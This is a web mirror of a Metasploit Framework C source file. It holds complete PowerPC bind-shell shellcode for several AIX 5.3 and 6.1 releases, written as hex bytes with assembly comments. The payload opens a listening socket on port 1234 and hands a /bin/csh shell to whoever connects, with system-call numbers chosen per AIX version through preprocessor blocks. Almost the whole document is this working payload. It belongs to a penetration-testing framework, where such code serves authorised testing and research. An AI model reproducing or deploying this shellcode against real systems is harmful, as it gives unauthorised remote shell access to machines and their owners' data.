CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-bndsockcode.c
Views: 11766
1
/*
2
* aix-power-bndsockcode.c
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#define BNDSOCKPORT 82
36
37
char bndsockcode[]= /* 264 bytes */
38
"\x7f\xff\xfa\x79" /* xor. r31,r31,r31 */
39
"\x40\x82\xff\xfd" /* bnel <bndsockcode> */
40
"\x7f\xc8\x02\xa6" /* mflr r30 */
41
"\x3b\xde\x01\xff" /* cal r30,511(r30) */
42
"\x3b\xde\xfe\x1d" /* cal r30,-483(r30) */
43
"\x7f\xc9\x03\xa6" /* mtctr r30 */
44
"\x4e\x80\x04\x20" /* bctr */
45
"\x4c\xc6\x33\x42" /* crorc 6,6,6 */
46
"\x44\xff\xff\x02" /* svca 0 */
47
"\x3b\xde\xff\xf8" /* cal r30,-8(r30) */
48
"\x3b\xa0\x07\xff" /* lil r29,2047 */
49
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
50
"\x38\x9d\xf8\x02" /* cal r4,-2046(r29) */
51
"\x38\x7d\xf8\x03" /* cal r3,-2045(r29) */
52
#ifdef AIX614
53
"\x38\x5d\xf8\xf4" /* cal r2,-1804(r29) */
54
#endif
55
#ifdef AIX613
56
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
57
#endif
58
#ifdef AIX612
59
"\x38\x5d\xf8\xef" /* cal r2,-1809(r29) */
60
#endif
61
#ifdef AIX611
62
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
63
#endif
64
#ifdef AIX610
65
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
66
#endif
67
#ifdef AIX5310
68
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
69
#endif
70
#ifdef AIX539
71
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
72
#endif
73
#ifdef AIX538
74
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
75
#endif
76
#ifdef AIX537
77
"\x38\x5d\xf8\xda" /* cal r2,-1830(r29) */
78
#endif
79
80
"\x7f\xc9\x03\xa6" /* mtctr r30 */
81
"\x4e\x80\x04\x21" /* bctrl */
82
"\x7c\x7c\x1b\x78" /* mr r28,r3 */
83
"\x38\xbd\xf8\x11" /* cal r5,-2031(r29) */
84
"\x3f\x60\xff\x02" /* liu r27,-254 */
85
"\x63\x7b\x04\xd2" /* oril r27,r27,1234 */
86
"\x97\xe1\xff\xfc" /* stu r31,-4(r1) */
87
"\x97\x61\xff\xfc" /* stu r27,-4(r1) */
88
"\x7c\x24\x0b\x78" /* mr r4,r1 */
89
#ifdef AIX614
90
"\x38\x5d\xf8\xf3" /* cal r2,-1805(r29) */
91
#endif
92
#ifdef AIX613
93
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
94
#endif
95
#ifdef AIX612
96
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
97
#endif
98
#ifdef AIX611
99
"\x38\x5d\xf8\xeb" /* cal r2,-1813(r29) */
100
#endif
101
#ifdef AIX610
102
"\x38\x5d\xf8\xeb" /* cal r2,-1813(r29) */
103
#endif
104
#ifdef AIX5310
105
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
106
#endif
107
#ifdef AIX539
108
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
109
#endif
110
#ifdef AIX538
111
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
112
#endif
113
#ifdef AIX537
114
"\x38\x5d\xf8\xd9" /* cal r2,-1831(r29) */
115
#endif
116
117
"\x7f\xc9\x03\xa6" /* mtctr r30 */
118
"\x4e\x80\x04\x21" /* bctrl */
119
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
120
"\x7f\x83\xe3\x78" /* mr r3,r28 */
121
#ifdef AIX614
122
"\x38\x5d\xf8\xf1" /* cal r2,-1807(r29) */
123
#endif
124
#ifdef AIX613
125
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
126
#endif
127
#ifdef AIX612
128
"\x38\x5d\xf8\xec" /* cal r2,-1812(r29) */
129
#endif
130
#ifdef AIX611
131
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
132
#endif
133
#ifdef AIX610
134
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
135
#endif
136
#ifdef AIX5310
137
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
138
#endif
139
#ifdef AIX539
140
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
141
#endif
142
#ifdef AIX538
143
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
144
#endif
145
#ifdef AIX537
146
"\x38\x5d\xf8\xd8" /* cal r2,-1832(r29) */
147
#endif
148
149
"\x7f\xc9\x03\xa6" /* mtctr r30 */
150
"\x4e\x80\x04\x21" /* bctrl */
151
"\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */
152
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
153
"\x7f\x83\xe3\x78" /* mr r3,r28 */
154
#ifdef AIX614
155
"\x38\x5d\xf8\xee" /* cal r2,-1810(r29) */
156
#endif
157
#ifdef AIX613
158
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
159
#endif
160
#ifdef AIX612
161
"\x38\x5d\xf8\xe9" /* cal r2,-1815(r29) */
162
#endif
163
#ifdef AIX611
164
"\x38\x5d\xf8\xe6" /* cal r2,-1818(r29) */
165
#endif
166
#ifdef AIX610
167
"\x38\x5d\xf8\xe6" /* cal r2,-1818(r29) */
168
#endif
169
#ifdef AIX5310
170
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
171
#endif
172
#ifdef AIX539
173
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
174
#endif
175
#ifdef AIX538
176
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
177
#endif
178
#ifdef AIX537
179
"\x38\x5d\xf8\xd7" /* cal r2,-1833(r29) */
180
#endif
181
182
"\x7f\xc9\x03\xa6" /* mtctr r30 */
183
"\x4e\x80\x04\x21" /* bctrl */
184
"\x7c\x7a\x1b\x78" /* mr r26,r3 */
185
"\x3b\x3d\xf8\x03" /* cal r25,-2045(r29) */
186
"\x7f\x23\xcb\x78" /* mr r3,r25 */
187
#ifdef AIX614
188
"\x38\x5d\xf9\x17" /* cal r2,-1769(r29) */
189
#endif
190
#ifdef AIX613
191
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
192
#endif
193
#ifdef AIX612
194
"\x38\x5d\xf9\x11" /* cal r2,-1775(r29) */
195
#endif
196
#ifdef AIX611
197
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
198
#endif
199
#ifdef AIX610
200
"\x38\x5d\xf9\x0e" /* cal r2,-1778(r29) */
201
#endif
202
#ifdef AIX5310
203
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
204
#endif
205
#ifdef AIX539
206
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
207
#endif
208
#ifdef AIX538
209
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
210
#endif
211
#ifdef AIX537
212
"\x38\x5d\xf8\xf6" /* cal r2,-1802(r29) */
213
#endif
214
215
"\x7f\xc9\x03\xa6" /* mtctr r30 */
216
"\x4e\x80\x04\x21" /* bctrl */
217
"\x7f\x25\xcb\x78" /* mr r5,r25 */
218
"\x7c\x84\x22\x78" /* xor r4,r4,r4 */
219
"\x7f\x43\xd3\x78" /* mr r3,r26 */
220
#ifdef AIX614
221
"\x38\x5d\xfa\x93" /* cal r2,-1389(r29) */
222
#endif
223
#ifdef AIX613
224
"\x38\x5d\xfa\x85" /* cal r2,-1403(r29) */
225
#endif
226
#ifdef AIX612
227
"\x38\x5d\xfa\x7c" /* cal r2,-1412(r29) */
228
#endif
229
#ifdef AIX611
230
"\x38\x5d\xfa\x67" /* cal r2,-1433(r29) */
231
#endif
232
#ifdef AIX610
233
"\x38\x5d\xfa\x6a" /* cal r2,-1430(r29) */
234
#endif
235
#ifdef AIX5310
236
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
237
#endif
238
#ifdef AIX539
239
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
240
#endif
241
#ifdef AIX538
242
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
243
#endif
244
#ifdef AIX537
245
"\x38\x5d\xf9\xee" /* cal r2,-1554(r29) */
246
#endif
247
248
"\x7f\xc9\x03\xa6" /* mtctr r30 */
249
"\x4e\x80\x04\x21" /* bctrl */
250
"\x37\x39\xff\xff" /* ai. r25,r25,-1 */
251
"\x40\x80\xff\xd4" /* bge <bndsockcode+160> */
252
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
253
"\x40\x82\xff\xfd" /* bnel <bndsockcode+208> */
254
"\x7f\x08\x02\xa6" /* mflr r24 */
255
"\x3b\x18\x01\xff" /* cal r24,511(r24) */
256
"\x38\x78\xfe\x29" /* cal r3,-471(r24) */
257
"\x98\xb8\xfe\x31" /* stb r5,-463(r24) */
258
"\x94\xa1\xff\xfc" /* stu r5,-4(r1) */
259
"\x94\x61\xff\xfc" /* stu r3,-4(r1) */
260
"\x7c\x24\x0b\x78" /* mr r4,r1 */
261
#ifdef AIX614
262
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
263
#endif
264
#ifdef AIX613
265
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
266
#endif
267
#ifdef AIX612
268
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
269
#endif
270
#ifdef AIX611
271
"\x38\x5d\xf8\x08" /* cal r2,-2040(r29) */
272
#endif
273
#ifdef AIX610
274
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
275
#endif
276
#ifdef AIX5310
277
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
278
#endif
279
#ifdef AIX539
280
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
281
#endif
282
#ifdef AIX538
283
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
284
#endif
285
#ifdef AIX537
286
"\x38\x5d\xf8\x07" /* cal r2,-2041(r29) */
287
#endif
288
289
"\x7f\xc9\x03\xa6" /* mtctr r30 */
290
"\x4e\x80\x04\x21" /* bctrl */
291
"/bin/csh"
292
;
293
294
295